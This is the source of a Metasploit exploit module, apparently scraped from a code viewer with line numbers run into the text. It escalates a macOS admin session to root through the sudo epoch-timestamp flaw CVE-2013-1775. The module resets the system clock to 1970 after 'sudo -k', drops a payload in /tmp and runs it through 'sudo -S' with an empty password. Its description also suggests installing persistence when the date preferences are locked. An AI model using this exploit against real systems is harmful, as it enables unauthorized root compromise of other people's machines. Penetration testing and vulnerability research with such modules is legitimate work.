Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local89# ManualRanking because it's going to modify system time10# Even when it will try to restore things, user should use11# it at his own risk12Rank = NormalRanking1314include Msf::Post::File15include Msf::Post::OSX::Priv16include Msf::Exploit::EXE17include Msf::Exploit::FileDropper1819SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"20VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]21CMD_TIMEOUT = 452223# saved clock config24attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone2526def initialize(info = {})27super(28update_info(29info,30'Name' => 'Mac OS X Sudo Password Bypass',31'Description' => %q{32This module gains a session with root permissions on versions of OS X with33sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,34and possibly lower versions.3536If your session belongs to a user with Administrative Privileges37(the user is in the sudoers file and is in the "admin group"), and the38user has ever run the "sudo" command, it is possible to become the super39user by running `sudo -k` and then resetting the system clock to 01-01-1970.4041This module will fail silently if the user is not an admin, if the user has never42run the sudo command, or if the admin has locked the Date/Time preferences.4344Note: If the user has locked the Date/Time preferences, requests to overwrite45the system clock will be ignored, and the module will silently fail. However,46if the "Require an administrator password to access locked preferences" setting47is not enabled, the Date/Time preferences are often unlocked every time the admin48logs in, so you can install persistence and wait for a chance later.49},50'License' => MSF_LICENSE,51'Author' => [52'Todd C. Miller', # Vulnerability discovery53'joev', # Metasploit module54'juan vazquez' # testing/fixing module bugs55],56'References' => [57[ 'CVE', '2013-1775' ],58[ 'OSVDB', '90677' ],59[ 'BID', '58203' ],60[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]61],62'Platform' => 'osx',63'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],64'SessionTypes' => [ 'shell', 'meterpreter' ],65'Targets' => [66[67'Mac OS X x86 (Native Payload)',68{69'Platform' => 'osx',70'Arch' => ARCH_X8671}72],73[74'Mac OS X x64 (Native Payload)',75{76'Platform' => 'osx',77'Arch' => ARCH_X6478}79],80[81'CMD',82{83'Platform' => 'unix',84'Arch' => ARCH_CMD85}86]87],88'DefaultTarget' => 0,89'DisclosureDate' => '2013-02-28',90'Notes' => {91'Reliability' => UNKNOWN_RELIABILITY,92'Stability' => UNKNOWN_STABILITY,93'SideEffects' => UNKNOWN_SIDE_EFFECTS94}95)96)97register_advanced_options([98OptString.new('TMP_FILE',99[100true, 'For the native targets, specifies the path that ' +101'the executable will be dropped on the client machine.',102'/tmp/.<random>/<random>'103]),104])105end106107# ensure target is vulnerable by checking sudo vn and checking108# user is in admin group.109def check110if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/111sudo_vn = $1112sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)113# check vn between 1.6.0 through 1.7.10p6114# and 1.8.0 through 1.8.6p6115if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)116vprint_error "sudo version #{sudo_vn} not vulnerable."117return CheckCode::Safe118end119else120vprint_error "sudo not detected on the system."121return CheckCode::Safe122end123124# check that the user is in OSX's admin group, necessary to change sys clock125unless is_admin?126vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."127return CheckCode::Safe128end129130# one root for you sir131CheckCode::Vulnerable132end133134def exploit135if is_root?136fail_with Failure::BadConfig, 'Session already has root privileges'137end138139unless is_admin?140fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."141end142143if check != CheckCode::Vulnerable144fail_with Failure::NotVulnerable, 'Target is not vulnerable'145end146147# "remember" the current system time/date/network/zone148print_good("User is an admin, continuing...")149150print_status("Saving system clock config...")151@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]152@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]153@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)154@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]155@network_server = if @networked156cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]157end158159run_sudo_cmd160end161162def cleanup163if @clock_changed164print_status("Resetting system clock to original values") if @time165cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?166cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?167cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?168if @networked169cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")170unless @network_server.nil?171cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")172end173end174print_good("Completed clock reset.")175else176print_status "Skipping cleanup since the clock was never changed"177end178179super180end181182private183184def run_sudo_cmd185print_status("Resetting user's time stamp file and setting clock to the epoch")186cmd_exec(187"sudo -k; \n" +188"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT" +189" -setdate 01:01:1970 -settime 00:00"190)191if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970")192fail_with(Failure::NoAccess, "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.")193else194@clock_changed = true195end196197# drop the payload (unless CMD)198if using_native_target?199cmd_exec("mkdir -p #{File.dirname(drop_path)}")200write_file(drop_path, generate_payload_exe)201register_files_for_cleanup(drop_path)202cmd_exec("chmod +x #{[drop_path].shelljoin}")203print_status("Payload dropped and registered for cleanup")204end205206# Run Test207test = rand_text_alpha(4 + rand(4))208sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')209210print_status("Testing that user has sudoed before...")211output = cmd_exec('echo "" | ' + sudo_cmd_test)212213if output =~ /incorrect password attempts\s*$/i214fail_with(Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")215elsif output =~ /#{test}/216print_good("Test executed succesfully. Running payload.")217else218print_error("Unknown fail while testing, trying to execute the payload anyway...")219end220221# Run Payload222sudo_cmd_raw = if using_native_target?223['sudo', '-S', [drop_path].shelljoin].join(' ')224elsif using_cmd_target?225['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')226end227228## to prevent the password prompt from destroying session229## backgrounding the sudo payload in order to keep both sessions usable230sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'231232print_status "Running command: "233print_line sudo_cmd234output = cmd_exec(sudo_cmd)235end236237# default cmd_exec timeout to CMD_TIMEOUT constant238def cmd_exec(cmd, args = nil, timeout = CMD_TIMEOUT)239super240end241242# helper methods for accessing datastore243def using_native_target?244target.name =~ /native/i245end246247def using_cmd_target?248target.name =~ /cmd/i249end250251def drop_path252@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }253end254255# helper methods for dealing with sudo's vn num256def parse_vn(vn_str)257vn_str.split(/[\.p]/).map(&:to_i)258end259260def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])261vn_parts = parse_vn(vn)262ranges.any? do |range|263min_parts = parse_vn(range[0])264max_parts = parse_vn(range[1])265vn_parts.all? do |part|266min = min_parts.shift267max = max_parts.shift268(min.nil? or (not part.nil? and part >= min)) and269(part.nil? or (not max.nil? and part <= max))270end271end272end273end274275276